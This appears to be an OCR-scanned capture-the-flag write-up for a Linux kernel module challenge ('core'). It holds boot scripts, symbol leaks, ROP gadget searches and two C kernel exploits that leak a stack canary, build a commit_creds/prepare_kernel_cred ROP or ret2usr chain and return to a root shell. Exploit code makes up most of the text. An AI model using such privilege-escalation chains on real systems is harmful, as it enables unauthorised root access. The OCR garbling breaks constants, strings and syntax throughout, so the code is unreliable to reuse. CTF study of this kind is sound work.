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cpio -o --format=newc ../core.cpio
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#!1/bin/sh

mount -t proc proc /proc

mount -t sysfs sysfs /sys

mount -t devtmpfs none /dev

/sbin/mdev -s

mkdir -p /dev/pts

mount -vt devpts -o gid=4,mode=620 none /dev/pts

chmod 666 /dev/ptmx

cat /proc/kallsyms /tmp/kallsyms
/proc/sys/kernel/kptr_restrict
/proc/sys/kernel/dmesg_restrict

ifconfig eth@® up

udhcpc -i ethe
ifconfig eth® 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2

insmod /core.ko

poweroff -d 1200000 -f
setsid /bin/cttyhack setuidgid 1000 /bin/sh
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cat /tmp/kallsyms grep startup_64

0.022746] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie
: started, v1.26.2
: sending discover
: sending select for 10.6.2.15
: lease of 10.0.2.15 obtained, lease time 86400

Jtmp/kallsyms | grep startup_64
ffffffffan8e00e6 T startup_64
ffffffffa0B800030 T secondary_startup_64
ffffffffaes8eeife T _ startup 64
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insmod /core.ko
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core 16384 8 - Live axffffffffcez3isean (0)
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setsid /bin/cttyhack setuidgid 1000 /bin/sh
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boot.sh

gemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \

./core.cpio \

user,id=t0@, -device el000,netdev=t0,id=nicO \

-nographic \
-gdb tcp::1234\

W SHE— T -append N %, BHRPIEN, 1XiEH%Hsmep
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unsigned long user_cs, user_ss, user_eflags,user_sp;

void save stats() {

asm(

(user_cs), (user_ss), (user_eflags), (user_sp)

o vmlinux 1 R Z0 i F% 1T LA JETAS 523

from pwn import

elf = ELF( )

print (elf.symbols[ ]-oxfffffff81000000)

print ’ (elf.symbols|[ ]-oxfff{fff{81000000)
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void get_root()

P
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char* (*pkc)(int) prepare_kernel cred;

void (*cc)(char*) commit_creds;

(fcc) ((*pke)(8));

® swapgs & iretq
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search swapgs
Searching for gadgets: swapgs

File: vmlinux
: swapgs; popfq; ret;

File: core.ko
: swapgs; pop rbp; ret;

search iretq
Searching for gadgets: iretq

File: vmlinux
: iretq; ret;
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BT AZ R R B e BT ELIAT T exp i ¥ i &

gcc -0 exp exp.c -static
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SR 5 IR B P A JE AT system("/bin/sh")

vmlinux_base=0;

module base;

canary;

commit_creds 0x9c8e0;

prepare_kernel cred 0x9cce0;

prdi Oxb2f;

prdx = 0xa@f49;

prcx 0x21e53;

mrdi_rax_call_rdx= @xlaa6a;
size_t swapgs Oxa0l2da;

size_t iret=0x50ac2;

unsigned long user cs user eflags,user



void save_stats() {

asm(

(user_cs), (user_ss), (user_eflags),

void setoff(int fd,long long size){
ioctl(fd,ox6677889C,size);

)i

void core_read(int fd,char *buf){
ioctl(fd,0x6677889b,buf);

)i

void core_copy func(int fd,long long size){
ioctl(fd,ox6677889a,size);

}

void get shell(){
system( )s
bs

void get_vmlinux_base(){
FILE *fd fopen (
if(fd<0){
printf(
exit(9);
)i
char tmp[0x50];
while(fgets(tmp,0x40,fd)!=NULL){
if(strstr(tmp, )==NULL){
continue;
)i
char a[0x20];
memset(a,0,0x20);
strncpy(a,tmp,0x10);
sscanf(a, ,&vmlinux_base);
break;
)i
prdi vmlinux_base;
prcx vmlinux_base;
prdx vmlinux_base;
mrdi_rax_call rdx vmlinux_base;
swapgs vmlinux_base;
iret vmlinux_base;
prepare_kernel cred vmlinux_base;
commit_creds vmlinux_base;
printf( ,vmlinux_base);
printf( ,commit_creds);

(user_sp)

printf( ,prepare_kernel_cred);

fclose(fd);
}

int main(){
save_stats();




get_vmlinux_base

int fd;
fd = open( ,O_RDWR) ;

if(fd < 0 ){

printf(

exit(0);

bj

char buf[0x100];

size_t tmps[0x10];

setoff(fd,ox40);

core_read(fd,buf);

for(int i = 0;i<8;i++){

tmps[i] (size_t *)(&buf[i*8]);

printf( ,i,tmps[i]);

b

canary = tmps[0];

module base = tmps[2]-0x19b;

printf( ,canary);

printf( ,module_base);
int i 8;

size_t rop[0x20];

rop[i canary;
0;

prdi;
0 ;
prepare_kernel cred;

rop[i
rop[i
rop[i
rop[i
rop[i prdx;
rop[i prcx;
rop[i mrdi_rax_call rdx;
rop[i commit_creds;
rop[i swapgs;
0;

iret;

rop[i
rop[i
rop[i (size_t)get shell;
rop[i user_cs;

rop[i user_eflags;

]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]

rop[i user_sp;
rop[i++] user_ss;
write(fd,rop,0x100);
core_copy_func(fd,0xf000000000000000+0x100) ;

return 0;

2. 47 H PSR i commit_creds(prepare_kernel_cred(0)) (ret2usr)

size_t vmlinux_base=0;
size_t module_base;
size_t canary;

size_t commit_creds = 0x9c8e0;




prdi Oxb2f;

prdx = 0xa@f49;

prcx 0x21e53;
mrdi_rax_call rdx= @xlaa6a;
swapgs Oxadl2da;
iret=0x50ac2;

unsigned long user_cs, user_ss, user_eflags,user_sp;
void save stats() {

asm(

(user_cs), (user_ss), (user_eflags), (user_sp)

void setoff(int fd,long long size){
ioctl(fd,0x6677889C,size);

)s

void core_read(int fd,char *buf){
ioctl(fd,0x6677889b,buf);

)i

void core_copy func(int fd,long long size){
ioctl(fd,0x6677889a,size);

}

void get shell(){
system( )5
)i

void get vmlinux_base(){
FILE *fd fopen(
if(fd<0){
printf(
exit(9);
)i
char tmp[0x50];
while(fgets(tmp,0x40,fd) ! =NULL){
if(strstr(tmp, )==NULL){
continue;
)i
char a[0x20];
memset(a,0,0x20);
strncpy(a,tmp,0x10);
sscanf(a, ,&vmlinux_base);
break;
)i
prdi vmlinux_base;
prcx vmlinux_base;
prdx vmlinux_base;
mrdi_rax_call_rdx vmlinux_base;
swapgs vmlinux_base;

iret vmlinux_base;




prepare_kernel cred
commit_creds
printf(
printf(
printf(
fclose(fd);
s
void get root()
i
char* (*pkc)(int)
void (*cc)(char*)

(*cc) ((*pkc)(@));

}

int main(){

save_stats();
get_vmlinux_base();
int fd;
fd = open(
if(fd < 0 ){
printf(
exit(9);
b
char buf[0x100];
size_t tmps[0x10];
setoff(fd,0x40);
core_read(fd,buf);
0;i<8;1
(size_t

for(int i
tmps[i]
printf(

}

canary = tmps[0];
module base
printf(
printf(

int i 8;
rop[0x20];

canary,;

size t
rop[i
rop[i 9;
rop[i
rop[i swapgs;
rop[i 9;
rop[i iret;
rop[i
rop[i user_cs;
rop[i
rop[i
rop[i++]
write(fd,rop,0x100);

user_sp;

user_ss;

vmlinux_base;

vmlinux_base;

,vmlinux_base);
,commit_creds);

,prepare_kernel_cred);

prepare_kernel cred;
commit_creds;

,0_RDWR);

A
) (&buf[i*8]);
>»i,tmps[i]);

tmps[2]-06x19b;

,canary);
,module base);

(size_t)get root;

(size_t)get_shell;

user_eflags;

core_copy_func(fd,0xf000000000000000+0x100) ;

return 0;
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